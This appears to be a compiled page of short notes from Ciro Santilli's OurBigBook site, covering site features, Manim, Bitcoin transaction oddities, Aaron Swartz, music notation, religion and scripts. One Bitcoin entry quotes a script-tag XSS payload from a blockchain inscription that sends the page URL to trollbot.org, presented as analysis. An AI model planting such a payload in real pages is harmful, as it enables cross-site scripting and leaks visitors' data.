Ciro's Edict #8 / Article metadata shown next to every header Updated +Created
This is a major feature: we have now started to inject the following buttons next to every single pre-rendered header:
  • "Like"
  • "By Other On The Same Topic"
  • "Discussions", i.e. the issue tracker for the header
  • "Create my own version" or "View my version of the page" or "Edit" button depending on wether the user can edit or already has a version of the article or not
This crucial feature makes it clear to every new user that every single header has its own separate metadata, which is a crucial idea of the website.

. The page is: ourbigbook.com/donald-trump/chemistry. Note how even the subheaders "Chemical element" and "Hydrogen" show the metadata.
Ciro's Edict #8 / Article size and count limits Updated +Created
Limited the number of articles, and the size of article bodies. This, together with the reCAPTCHA setup from Email verification and reCAPTCHA signup protection should prevent the most basic types of denial-of-service attacks by filling up our database.
The limits can be increased by admin users from the web UI, and will be done generously when it is evident that it is not a DoS attack. Admin users are also a recently added feature.

Amazing graphs and formulas.
Python graphics engine open sourced at: github.com/3b1b/manim "Animation engine for explanatory math videos". But for some reason there is a community fork: github.com/ManimCommunity/manim/ "This repository is maintained by the Manim Community, and is not associated with Grant Sanderson or 3Blue1Brown in any way (though we are definitely indebted to him for providing his work to the world). If you want to study how Grant makes his videos, head over to his repository (3b1b/manim). This is a more frequently updated repository than that one, and is recommended if you want to use Manim for your own projects." what a mess.

OurBigBook.com / PageRank-like ranking Updated +Created
It would be really cool to have a PageRank-link algorithm that answers the key questions:
However, Ciro has decided to leave this for phase two action plan, because it is impossible to tune such an algorithm if you have no users or test data.
Perhaps it is also worth looking into ExpertRank, they appear to do some kind of "expert in this area", but with clustering (unlike us, where the clustering would be more explicit).
Other dump of things worth looking into:

Output 0 does:
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP
where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers:
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`
This is almost spendable with:
1 OP_TOALTSTACK 10 1 2
but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.

In this malformed Coinbase transaction, the mining pool "nicehash" produced a provably unspendable Bitcoin output script due to a bug, and therefore lost most of the entire block reward of 6.25 BTC then worth about $ 123,000.
The output is unspendable because it ends in a constant 0, the disassembly of the first and main output is this series of constants:
0 017fed86bba5f31f955f8b316c7fb9bd45cb6cbc 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
and for the second smaller one:

the third one being an OP_RETURN message.
Aaron Swartz Updated +Created
Aaron, Ciro Santilli will complete your quest to make eduction free. Just legally this time, with the and with the Creative Commons license you helped to create.
Ciro likes how The Internet's Own Boy (2014) explains how Aaron felt like high school was bullshit, and that he could learn whatever he wanted from books, which is one of Ciro's key feelings.
It also mentions how he was a natural teacher from a very early age.
ABC notation Updated +Created
A decent way to write diatonic music as plaintext!
Conversion to MIDI with abcmidi.
No bend/vibratto/slides :-(
Abelian group Updated +Created
Easily classified as the direct product of cyclic groups of prime order.
Abing Updated +Created
Once Ciro Santilli played Suwu herding sheep while his mother in law was around, and she quickly pointed out:
Suwu by Abing!
He's very popular!
And also a composer, e.g. he composed Reflections of the Moon on Erquan.
Abrahamic religion Updated +Created
It is just mind blowing that Christians, Muslims and Jews can have so many conflicts considering that their religions are basically the same. Uncanny valley comes to mind. See also remarks at: cirosantilli.com/china-dictatorship/zhong-gong
The transfiguration of Jesus is a notable example where Jesus/the Church tries to divert older religions into him. And then Muhammad does the same during isra and Mi'raj, and meets up with Jesus, John the Baptist and Abraham. The Kaaba was also clearly an earlier place of worship of local religions before Muhammad. But of course, Abraham was one of the builders of the Kaaba, so all good.
Abugida Updated +Created
Somewhat midway between a syllabary and an alphabet: you write out consonants, and vowels are "punctuation-like-modifiers".
E.g.: the main Hindi script (devanagari) and most other Indian languages.
